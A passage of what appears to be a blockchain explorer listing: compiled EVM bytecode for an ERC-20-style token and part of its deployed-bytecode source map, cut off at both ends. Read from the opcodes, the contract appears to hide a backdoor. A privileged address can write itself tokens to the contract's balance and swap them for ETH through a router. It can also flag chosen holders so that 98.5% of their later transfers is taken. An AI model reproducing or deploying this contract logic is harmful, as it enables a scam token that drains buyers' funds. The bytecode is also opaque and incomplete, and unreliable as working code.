006105a4610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105ea57600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a7610612610e40565b8484600b6000610620610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a291906118d5565b610ecf565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661071f6108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90611886565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166108526108b2565b73ffffffffffffffffffffffffffffffffffffffff16146108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611886565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ea90611809565b80601f016020809104026020016040519081016040528092919081815260200182805461091690611809565b80156109635780601f1061093857610100808354040283529160200191610963565b820191906000526020600020905b81548152906001019060200180831161094657829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b60006109a2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610abe610a30610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab99190611909565b610ecf565b6001905092915050565b6000610adc610ad5610e40565b848461102c565b6001905092915050565b610aee6112a2565b15610d8457610b2030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ecf565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b8157610b8061193d565b5b604051908082528060200260200182016040528015610baf5781602001602082028036833780820191505090505b5090503081600081518110610bc757610bc661196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906119b0565b81600181518110610ca657610ca561196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610d3091906118d5565b6040518663ffffffff1660e01b8152600401610d50959493929190611ae0565b600060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b50505050505b5050565b60006001610d94611301565b610d9e91906118d5565b905060005b83839050811015610e3a57610db66112a2565b15610e275781600a6000868685818110610dd357610dd261196c565b5b9050602002016020810190610de89190611651565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610e3290611b3a565b915050610da3565b50505050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4157600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101f91906115e3565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c35750611080611301565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110cf576003546110f9565b6110f86103e86110ea6103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561114757600080fd5b80826111539190611909565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a191906118d5565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f79190611909565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129491906115e3565b60405180910390a350505050565b60006112ac610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141b578082015181840152602081019050611400565b60008484015250505050565b6000601f19601f8301169050919050565b6000611443826113e1565b61144d81856113ec565b935061145d8185602086016113fd565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6000602082840312156115bd576115bc611493565b5b60006115cb8482850161151c565b91505092915050565b6115dd816114fb565b82525050565b60006020820190506115f860008301846115d4565b92915050565b60008060006060848603121561161757611616611493565b5b6000611625868287016114e6565b9350506020611636868287016114e6565b92505060406116478682870161151c565b9150509250925092565b60006020828403121561166757611666611493565b5b6000611675848285016114e6565b91505092915050565b611687816114bd565b82525050565b60006020820190506116a2600083018461167e565b92915050565b600080604083850312156116bf576116be611493565b5b60006116cd8582860161151c565b92505060206116de858286016114e6565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261170d5761170c6116e8565b5b8235905067ffffffffffffffff81111561172a576117296116ed565b5b602083019150836020820283011115611746576117456116f2565b5b9250929050565b6000806020838503121561176457611763611493565b5b600083013567ffffffffffffffff81111561178257611781611498565b5b61178e858286016116f7565b92509250509250929050565b600080604083850312156117b1576117b0611493565b5b60006117bf858286016114e6565b92505060206117d0858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182157607f821691505b602082108103611834576118336117da565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118706020836113ec565b915061187b8261183a565b602082019050919050565b6000602082019050818103600083015261189f81611863565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e0826114fb565b91506118eb836114fb565b9250828201905080821115611903576119026118a6565b5b92915050565b6000611914826114fb565b915061191f836114fb565b9250828203905081811115611937576119366118a6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119aa816114cf565b92915050565b6000602082840312156119c6576119c5611493565b5b60006119d48482850161199b565b91505092915050565b6000819050919050565b6000819050919050565b6000611a0c611a07611a02846119dd565b6119e7565b6114fb565b9050919050565b611a1c816119f1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a57816114bd565b82525050565b6000611a698383611a4e565b60208301905092915050565b6000602082019050919050565b6000611a8d82611a22565b611a978185611a2d565b9350611aa283611a3e565b8060005b83811015611ad3578151611aba8882611a5d565b9750611ac583611a75565b925050600181019050611aa6565b5085935050505092915050565b600060a082019050611af560008301886115d4565b611b026020830187611a13565b8181036040830152611b148186611a82565b9050611b23606083018561167e565b611b3060808301846115d4565b9695505050505050565b6000611b45826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7757611b766118a6565b5b600182019050919050565b6000611b8d826114fb565b9150611b98836114fb565b9250828202611ba6816114fb565b91508282048414831517611bbd57611bbc6118a6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826114fb565b9150611c09836114fb565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836113ec565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836113ec565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea26469706673582212201b0fee69df299471463f572597ed8844f5dacb87cc9d6df318ac99d7549dc9ce64736f6c63430008130033

Deployed Bytecode Sourcemap

2171:4506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6087:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2250:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4421:80;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4730:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4944:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3616:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2640:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2675:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3026:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5172:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1681:148;;;:::i;:::-;;4507:83;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2093:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3750:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4176:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6164:247;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2886:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5584:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3883:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;356:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2500:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6087:71;6126:13;6150:5;6143:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6087:71;:::o;2250:159::-;2324:4;2341:38;2350:11;:9;:11::i;:::-;2363:7;2372:6;2341:8;:38::i;:::-;2397:4;2390:11;;2250:159;;;;:::o;4421:80::-;1914:10;1903:21;;:7;:5;:7::i;:::-;:21;;;1895:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4491:2:::1;4482:6;:11;;;;4421:80:::0;:::o;4730:95::-;4776:7;4804:12;;4797:19;;4730:95;:::o;4944:222::-;5027:4;5044:30;5054:5;5061:3;5066:7;5044:9;:30::i;:::-;5128:7;5093:11;:18;5105:5;5093:18;;;;;;;;;;;;;;;:31;5112:11;:9;:11::i;:::-;5093:31;;;;;;;;;;;;;;;;:42;;5085:51;;;;;;5154:4;5147:11;;4944:222;;;;;:::o;3616:87::-;3659:7;3686:9;;3679:16;;3616:87;:::o;2640:28::-;;;;:::o;2675:205::-;2755:4;2772:78;2781:11;:9;:11::i;:::-;2794:7;2839:10;2803:11;:24;2815:11;:9;:11::i;:::-;2803:24;;;;;;;;;;;;;;;:33;2828:7;2803:33;;;;;;;;;;;;;;;;:46;;;;:::i;:::-;2772:8;:78::i;:::-;2868:4;2861:11;;2675:205;;;;:::o;3026:58::-;;;;:::o;5172:96::-;5229:7;5247:9;:18;5257:7;5247:18;;;;;;;;;;;;;;;;5240:25;;5172:96;;;:::o;1681:148::-;1914:10;1903:21;;:7;:5;:7::i;:::-;:21;;;1895:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1788:1:::1;1751:40;;1772:6;::::0;::::1;;;;;;;;1751:40;;;;;;;;;;;;1819:1;1802:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1681:148::o:0;4507:83::-;1914:10;1903:21;;:7;:5;:7::i;:::-;:21;;;1895:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4580:2:::1;4570:7;:12;;;;4507:83:::0;:::o;2093:71::-;2139:7;2156:6;;;;;;;;;;;2149:13;;2093:71;:::o;3750:87::-;3789:13;3822:7;3815:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3750:87;:::o;4176:31::-;;;;;;;;;;;;;:::o;6164:247::-;6237:4;6296:6;6262:11;:24;6274:11;:9;:11::i;:::-;6262:24;;;;;;;;;;;;;;;:30;6287:4;6262:30;;;;;;;;;;;;;;;;:40;;6254:49;;;;;;6314:67;6323:11;:9;:11::i;:::-;6336:4;6374:6;6342:11;:23;6354:10;6342:23;;;;;;;;;;;;;;;:29;6366:4;6342:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6314:8;:67::i;:::-;6399:4;6392:11;;6164:247;;;;:::o;2886:134::-;2955:4;2963:41;2973:11;:9;:11::i;:::-;2986:9;2997:6;2963:9;:41::i;:::-;3013:4;3006:11;;2886:134;;;;:::o;5584:497::-;5662:11;:9;:11::i;:::-;5658:416;;;5677:58;5694:4;5709:13;;;;;;;;;;;5726:8;5677;:58::i;:::-;5774:8;5747:9;:24;5765:4;5747:24;;;;;;;;;;;;;;;:35;;;;5793:26;5836:1;5822:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5793:45;;5874:4;5851:9;5861:1;5851:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;5908:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5893:9;5903:1;5893:12;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5941:13;;;;;;;;;;;:64;;;6006:8;6016:1;6019:9;6030;6046:15;6041:2;:20;;;;:::i;:::-;5941:121;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5675:399;5658:416;5584:497;;:::o;3883:286::-;3952:22;3994:1;3977:14;:12;:14::i;:::-;:18;;;;:::i;:::-;3952:43;;4011:11;4006:156;4038:10;;:17;;4029:6;:26;4006:156;;;4088:11;:9;:11::i;:::-;4084:67;;;4134:14;4102:9;:29;4112:10;;4123:6;4112:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4102:29;;;;;;;;;;;;;;;:46;;;;4084:67;4058:8;;;;;:::i;:::-;;;;4006:156;;;;3940:229;3883:286;;:::o;356:71::-;398:7;415:10;408:17;;356:71;:::o;2500:134::-;2572:7;2599:11;:18;2611:5;2599:18;;;;;;;;;;;;;;;:27;2618:7;2599:27;;;;;;;;;;;;;;;;2592:34;;2500:134;;;;:::o;5275:258::-;5388:1;5369:21;;:7;:21;;;5361:30;;;;;;5427:1;5410:19;;:5;:19;;;5402:28;;;;;;5471:6;5441:11;:18;5453:5;5441:18;;;;;;;;;;;;;;;:27;5460:7;5441:27;;;;;;;;;;;;;;;:36;;;;5509:7;5493:32;;5502:5;5493:32;;;5518:6;5493:32;;;;;;:::i;:::-;;;;;;;;5275:258;;;:::o;3091:468::-;3175:17;3230:1;3210:9;:16;3220:5;3210:16;;;;;;;;;;;;;;;;:21;;:59;;;;;3255:14;:12;:14::i;:::-;3235:9;:16;3245:5;3235:16;;;;;;;;;;;;;;;;:34;;3210:59;3195:135;;3323:7;;3195:135;;;3283:26;3304:4;3283:16;3295:3;3283:7;:11;;:16;;;;:::i;:::-;:20;;:26;;;;:::i;:::-;3195:135;3175:155;;3360:9;:16;3370:5;3360:16;;;;;;;;;;;;;;;;3349:7;:27;;3341:36;;;;;;3417:9;3407:7;:19;;;;:::i;:::-;3389:9;:14;3399:3;3389:14;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3458:7;3437:9;:16;3447:5;3437:16;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;3503:1;3486:19;;:5;:19;;;3478:28;;;;;;3538:3;3522:29;;3531:5;3522:29;;;3543:7;3522:29;;;;;;:::i;:::-;;;;;;;;3164:395;3091:468;;;:::o;4831:107::-;4875:4;4919:11;:9;:11::i;:::-;4899:31;;:16;;;;;;;;;;;:31;;;4892:38;;4831:107;:::o;4322:93::-;4368:7;4395:12;4388:19;;4322:93;:::o;647:223::-;705:7;734:1;729;:6;725:23;;745:1;738:8;;;;725:23;758:9;774:1;770;:5;;;;:::i;:::-;758:17;;803:1;798;794;:5;;;;:::i;:::-;:10;786:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;861:1;854:8;;;647:223;;;;;:::o;1066:178::-;1124:7;1156:1;1152;:5;1144:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1200:9;1216:1;1212;:5;;;;:::i;:::-;1200:17;;1235:1;1228:8;;;1066:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:329::-;4817:6;4866:2;4854:9;4845:7;4841:23;4837:32;4834:119;;;4872:79;;:::i;:::-;4834:119;4992:1;5017:53;5062:7;5053:6;5042:9;5038:22;5017:53;:::i;:::-;5007:63;;4963:117;4758:329;;;;:::o;5093:118::-;5180:24;5198:5;5180:24;:::i;:::-;5175:3;5168:37;5093:118;;:::o;5217:222::-;5310:4;5348:2;5337:9;5333:18;5325:26;;5361:71;5429:1;5418:9;5414:17;5405:6;5361:71;:::i;:::-;5217:222;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:117::-;6034:1;6031;6024:12;6048:117;6157:1;6154;6147:12;6171:117;6280:1;6277;6270:12;6311:568;6384:8;6394:6;6444:3;6437:4;6429:6;6425:17;6421:27;6411:122;;6452:79;;:::i;:::-;6411:122;6565:6;6552:20;6542:30;;6595:18;6587:6;6584:30;6581:117;;;6617:79;;:::i;:::-;6581:117;6731:4;6723:6;6719:17;6707:29;;6785:3;6777:4;6769:6;6765:17;6755:8;6751:32;6748:41;6745:128;;;6792:79;;:::i;:::-;6745:128;6311:568;;;;;:::o;6885:559::-;6971:6;6979;7028:2;7016:9;7007:7;7003:23;6999:32;6996:119;;;7034:79;;:::i;:::-;6996:119;7182:1;7171:9;7167:17;7154:31;7212:18;7204:6;7201:30;7198:117;;;7234:79;;:::i;:::-;7198:117;7347:80;7419:7;7410:6;7399:9;7395:22;7347:80;:::i;:::-;7329:98;;;;7125:312;6885:559;;;;;:::o;7450:474::-;7518:6;7526;7575:2;7563:9;7554:7;7550:23;7546:32;7543:119;;;7581:79;;:::i;:::-;7543:119;7701:1;7726:53;7771:7;7762:6;7751:9;7747:22;7726:53;:::i;:::-;7716:63;;7672:117;7828:2;7854:53;7899:7;7890:6;7879:9;7875:22;7854:53;:::i;:::-;7844:63;;7799:118;7450:474;;;;;:::o;7930:180::-;7978:77;7975:1;7968:88;8075:4;8072:1;8065:15;8099:4;8096:1;8089:15;8116:320;8160:6;8197:1;8191:4;8187:12;8177:22;;8244:1;8238:4;8234:12;8265:18;8255:81;;8321:4;8313:6;8309:17;8299:27;;8255:81;8383:2;8375:6;8372:14;8352:18;8349:38;8346:84;;8402:18;;:::i;:::-;8346:84;8167:269;8116:320;;;:::o;8442:182::-;8582:34;8578:1;8570:6;8566:14;8559:58;8442:182;:::o;8630:366::-;8772:3;8793:67;8857:2;8852:3;8793:67;:::i;:::-;8786:74;;8869:93;8958:3;8869:93;:::i;:::-;8987:2;8982:3;8978:12;8971:19;;8630:366;;;:::o;9002:419::-;9168:4;9206:2;9195:9;9191:18;9183:26;;9255:9;9249:4;9245:20;9241:1;9230:9;9226:17;9219:47;9283:131;9409:4;9283:131;:::i;:::-;9275:139;;9002:419;;;:::o;9427:180::-;9475:77;9472:1;9465:88;9572:4;9569:1;9562:15;9596:4;9593:1;9586:15;9613:191;9653:3;9672:20;9690:1;9672:20;:::i;:::-;9667:25;;9706:20;9724:1;9706:20;:::i;:::-;9701:25;;9749:1;9746;9742:9;9735:16;;9770:3;9767:1;9764:10;9761:36;;;9777:18;;:::i;:::-;9761:36;9613:191;;;;:::o;9810:194::-;9850:4;9870:20;9888:1;9870:20;:::i;:::-;9865:25;;9904:20;9922:1;9904:20;:::i;:::-;9899:25;;9948:1;9945;9941:9;9933:17;;9972:1;9966:4;9963:11;9960:37;;;9977:18;;:::i;:::-;9960:37;9810:194;;;;:::o;10010:180::-;10058:77;10055:1;10048:88;10155:4;10152:1;10145:15;10179:4;10176:1;10169:15;10196:180;10244:77;10241:1;10234:88;10341:4;10338:1;10331:15;10365:4;10362:1;10355:15;10382:143;10439:5;10470:6;10464:13;10455:22;;10486:33;10513:5;10486:33;:::i;:::-;10382:143;;;;:::o;10531:351::-;10601:6;10650:2;10638:9;10629:7;10625:23;10621:32;10618:119;;;10656:79;;:::i;:::-;10618:119;10776:1;10801:64;10857:7;10848:6;10837:9;10833:22;10801:64;:::i;:::-;10791:74;;10747:128;10531:351;;;;:::o;10888:85::-;10933:7;10962:5;10951:16;;10888:85;;;:::o;10979:60::-;11007:3;11028:5;11021:12;;10979:60;;;:::o;11045:158::-;11103:9;11136:61;11154:42;11163:32;11189:5;11163:32;:::i;:::-;11154:42;:::i;:::-;11136:61;:::i;:::-;11123:74;;11045:158;;;:::o;11209:147::-;11304:45;11343:5;11304:45;:::i;:::-;11299:3;11292:58;11209:147;;:::o;11362:114::-;11429:6;11463:5;11457:12;11447:22;;11362:114;;;:::o;11482:184::-;11581:11;11615:6;11610:3;11603:19;11655:4;11650:3;11646:14;11631:29;;11482:184;;;;:::o;11672:132::-;11739:4;11762:3;11754:11;;11792:4;11787:3;11783:14;11775:22;;11672:132;;;:::o;11810:108::-;11887:24;11905:5;11887:24;:::i;:::-;11882:3;11875:37;11810:108;;:::o;11924:179::-;11993:10;12014:46;12056:3;12048:6;12014:46;:::i;:::-;12092:4;12087:3;12083:14;12069:28;;11924:179;;;;:::o;12109:113::-;12179:4;12211;12206:3;12202:14;12194:22;;12109:113;;;:::o;12258:732::-;12377:3;12406:54;12454:5;12406:54;:::i;:::-;12476:86;12555:6;12550:3;12476:86;:::i;:::-;12469:93;;12586:56;12636:5;12586:56;:::i;:::-;12665:7;12696:1;12681:284;12706:6;12703:1;12700:13;12681:284;;;12782:6;12776:13;12809:63;12868:3;12853:13;12809:63;:::i;:::-;12802:70;;12895:60;12948:6;12895:60;:::i;:::-;12885:70;;12741:224;12728:1;12725;12721:9;12716:14;;12681:284;;;12685:14;12981:3;12974:10;;12382:608;;;12258:732;;;;:::o;12996:831::-;13259:4;13297:3;13286:9;13282:19;13274:27;;13311:71;13379:1;13368:9;13364:17;13355:6;13311:71;:::i;: